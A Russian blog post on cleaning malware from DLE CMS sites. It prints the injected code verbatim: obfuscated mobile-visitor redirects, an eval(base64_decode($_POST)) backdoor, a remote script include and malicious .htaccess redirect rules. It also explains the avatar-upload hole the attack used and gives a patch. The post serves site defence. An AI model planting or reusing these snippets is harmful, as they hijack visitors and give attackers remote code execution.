Навигация

 
 

Календарь

«    Апрель 2024    »
ПнВтСрЧтПтСбВс
1234567
891011121314
15161718192021
22232425262728
2930 
 

Вирусы в CMS DLE и как их лечить
0

Вирусы в CMS DLE и как их лечить

Как надоели эти вирусы в движке DLE. Если бы не эти вирусы, для меня движок бы этот был бы просто идеальный, так как в отличии от тех же CMS joomla, wordpress здесь очень легко добавлять новости, и для того кто начал только заниматься сайтостроительством этот движок очень прост.

Вот решил написать статью об этих вирусах, которые я ловил на своих сайтах, которые сделаны на CMS dle. Статью буду дополнять по мере заражения вирусами своих сайтов, что наверняка будет еще ни один раз. Также буду описывать как можно вылечить свой сайт от заражения. Самое главное правило, это конечно же всегда делайте бэкапы своего сайта, без этого вылечить иногда просто не возможно, так как всегда где то сидит эта зараза.

За время занятия сайтостроительством на dle, я заметил что вирусы могут быть абсолютно во всех вариациях файлов, это и php, и js и lng и jpeg. Обычно они в основном в файле php и js. Встречается левый код как в начале файла php, так и в конце, иногда бывает и в середине. Файлы js очень трудно очистить от вирусов поэтому лучше восстанавливать из копии сайта ( бэкапа). Многие хостинги автоматом делают бекапы, раз в три дня или даже каждый день. Все зависит от хостинга.

Вирусы иногда бывает очень сложно обнаружить, даже при скачивании вирусного архива, мой антивирусник не видит их. Так что, если вы заметили что ваш сайт долго грузится или антивирь начал ругаться на ваш сайт, для начала просто зайдите на свой хостинг и посмотрите на дату изменения файлов. Если вы обнаружите что файлы менялись буквально сегодня или вчера, тот же index.php, dbconfig.php, config.php, .htaccess, которые в принципе не должны меняться, или меняются только когда вы что-то обновляете или устанавливаете, тот же движок или модуль какой нибудь, то можно сразу предположить что в них сидит вирус. Иногда конечно бывает что сайт долго грузится, но уже не по причине вируса, а может просто хостинг лег;)

Итак приступим:

1. Это один из вирусов, который я обнаружил у себя на движке DLE 9.5. Касперский вирусный код не видит.

Появился левый код в начале файла index.php:
if(preg_match('/'.'('.'a'.'n'.'d'.'r'.'o'.'i'.'d'.'|'.'m'.'i'.'d'.'p'.'|'.'j'.'2'.'m'.'e'.'|'.'s'.'y'.'m'.'b'.'i'.'a'.'n'.'|'.'s'.'e'.'r'.'i'.'e'.'s'.' '.'6'.'0'.'|'.'s'.'y'.'m'.'b'.'o'.'s'.'|'.'w'.'i'.'n'.'d'.'o'.'w'.'s'.' '.'m'.'o'.'b'.'i'.'l'.'e'.'|'.'w'.'i'.'n'.'d'.'o'.'w'.'s'.' '.'c'.'e'.'|'.'p'.'p'.'c'.'|'.'s'.'m'.'a'.'r'.'t'.'p'.'h'.'o'.'n'.'e'.'|'.'b'.'l'.'a'.'c'.'k'.'b'.'e'.'r'.'r'.'y'.'|'.'m'.'t'.'k'.'|'.'b'.'a'.'d'.'a'.'|'.'w'.'i'.'n'.'d'.'o'.'w'.'s'.' '.'p'.'h'.'o'.'n'.'e'.')'.'/'.'i',$_SERVER['HTTP_USER_AGENT']) && $_COOKIE["m"] != '5df9974cf25d22eb3c5aa962d6460477')
{
@setcookie('m', '5df9974cf25d22eb3c5aa962d6460477', time()+86400, '/');
@header("Location: "."h"."t"."t"."p".":"."/"."/"."p"."i"."d"."d"."."."b"."o"."t"."."."n"."u"."/"."s"."/"."1"."1"."8"."0"."5");
die();
}

также вверху после строчки define ( 'DATALIFEENGINE', true ); появился код

 if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://yadirect.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));

В файле config.php появился код тот что сверху и еще внизу файла появился код ниже:
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://yadirect.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));

В файле dbconfig.php появился код в начале:
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://yadirect.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));

и внизу файла
$config['description'].='" />'."
".'<script type="text/javascript" src="http://up.bot.nu/go/'.rand(0,999).'"></script>'."
".'<meta http-equiv="Pragma" content="no-cache';

Лечение: просто удалите левый код и обновите движок, файлам поставьте права 444.

2. Было такое что в файле .htaccess в самом верху появились строчки

DirectoryIndex index.php

RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|windows\ phone|iemobile|nokia|ucweb|ucbrowser) [NC]
RewriteCond %{HTTP_USER_AGENT} !(bot|accoona|ia_archiver|ask\ jeeves|baidu|eltaindexer|feedfetcher|gamespy|gsa-crawler|grub-client|gulper|slurp|mihalism|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|mmcrawler|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
RewriteRule (.*) http://stat.pdaupd.net/?23&source=ваш домен [L,R=302] # on

# Редиректы
RewriteRule ^page/(.*)$ index.php?cstart=$1 [L]

где-то в середине файла .htaccess также проверьте на наличие вот этого вредоносного кода

# вывод отдельному тегу
RewriteCond %{QUERY_STRING} (^|&)noredirect=true(&|$)
RewriteRule ^ - [CO=mredir:0:%{HTTP_HOST},S]
RewriteCond %{HTTP:x-wap-profile} !^$ [OR]
RewriteCond %{HTTP:Profile}       !^$
RewriteCond %{HTTP_HOST}          !^m\.
RewriteCond %{HTTP:Cookie}        !\smredir=0(;|$)
RewriteRule ^ http://yadirect.ws/ [R,L]
RewriteRule ^tags/([^/]*)/page/([0-9]+)(/?)+$ index.php?do=tags&tag=$1&cstart=$2 [L]

3. Взлом DLE загрузкой аватара с вредоносным кодом!!!

Вот эта напасть была на многих сайтах.

Автор этого вирусного кода tehApocalypse и если вы подхватили, вредоносный код, после удаления вируса заблокируйте этого автора. В DLE 9.8 дырку эту залатали, так что эта угроза существует для всех версий dle ниже этой. Понять, что вы заразились этим вирусным кодом очень сложно, так как его можно только обнаружить если вы зашли на свой сайт или с телефона на OS Android или с айфона, даже если вы зашли с планшетника, то будет все нормально, и перенаправления не будет.

Что происходит?

При заходе на ваш сайт с iPhone посетителя перебрасывает на сайт злоумышленника.
При заходе на ваш сайт с телефона на OS Android, вам будет предложено скачать приложение, и после его установки, ваш телефон будет отправлять смс и соответственно ваш баланс быстро уйдет в ноль. Если вы все же скачали это вирусное приложение, ни в коем случае его не устанавливайте его.
Если ваш сайт начал терять посещаемость, первым делом обратите внимание на лечение этого вируса.

Вирусом заражаются файлы:

index.php
engine/engine.php
engine/init.php
engine/data/config.php
engine/data/dbconfig.php


Если вы удалили весь вирусный код из этих файлов, а редирект все равно происходит с вашего сайта, то проверьте еще файл

language/Russian/website.lng

Удаление:

Открываем эти файлы и удаляем код:
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
 
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}

Другая вариация этого кода:
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://live-internet.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://getinternet.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));


Проверьть файл language/Russian/website.lng после

@setlocale(LC_ALL, array("ru_RU.CP1251", "ru_SU.CP1251", "ru_RU.KOI8-r", "ru_RU", "russian", "ru_SU", "ru"));

нет ли вот такого кода:
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://livecountall.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://googlecount.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));

Вредоносный код может дублироваться вначале, середине и в конце файлов.
У меня было такое, что код просто дублировался в одном и том же месте раз 5-6. Давно на фтп не заходил;)

Как вирус попадает на сайт?

В нескольких файлах, в которых мы можем редактировать профиль пользователя и загружать аватар для этого пользователя есть такой код:

if( $thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] ) ) {
$thumb->jpeg_quality( $config['jpeg_quality'] );
$thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
} else {
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
}

Все дело в этой строчке:
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );

Залатать дыру надо в 3-х файлах:

engine/inc/editusers.php
engine/modules/register.php
engine/modules/profile.php


Находим:
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );

меняем на
$thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] );
$thumb->jpeg_quality( $config['jpeg_quality'] );
$thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );

Теперь загрузить аватар с вредоносным кодом не получится.

Для проверки удаления полностью изо всех файлов вируса, надо зайти с айфона или андройда на ваш сайт, если перенаправления на сторонний сайт злоумышленника нету, то я вас поздравляю. Если редирект все равно происходит , то проверьте движок на ссылки:

statuses.ws
live-internet.ws
getinternet.ws
livecountall.ws
googlecount.ws


А лучше обновите двиг DLE до последней версии.

  • Комментарии
  • ВКонтакте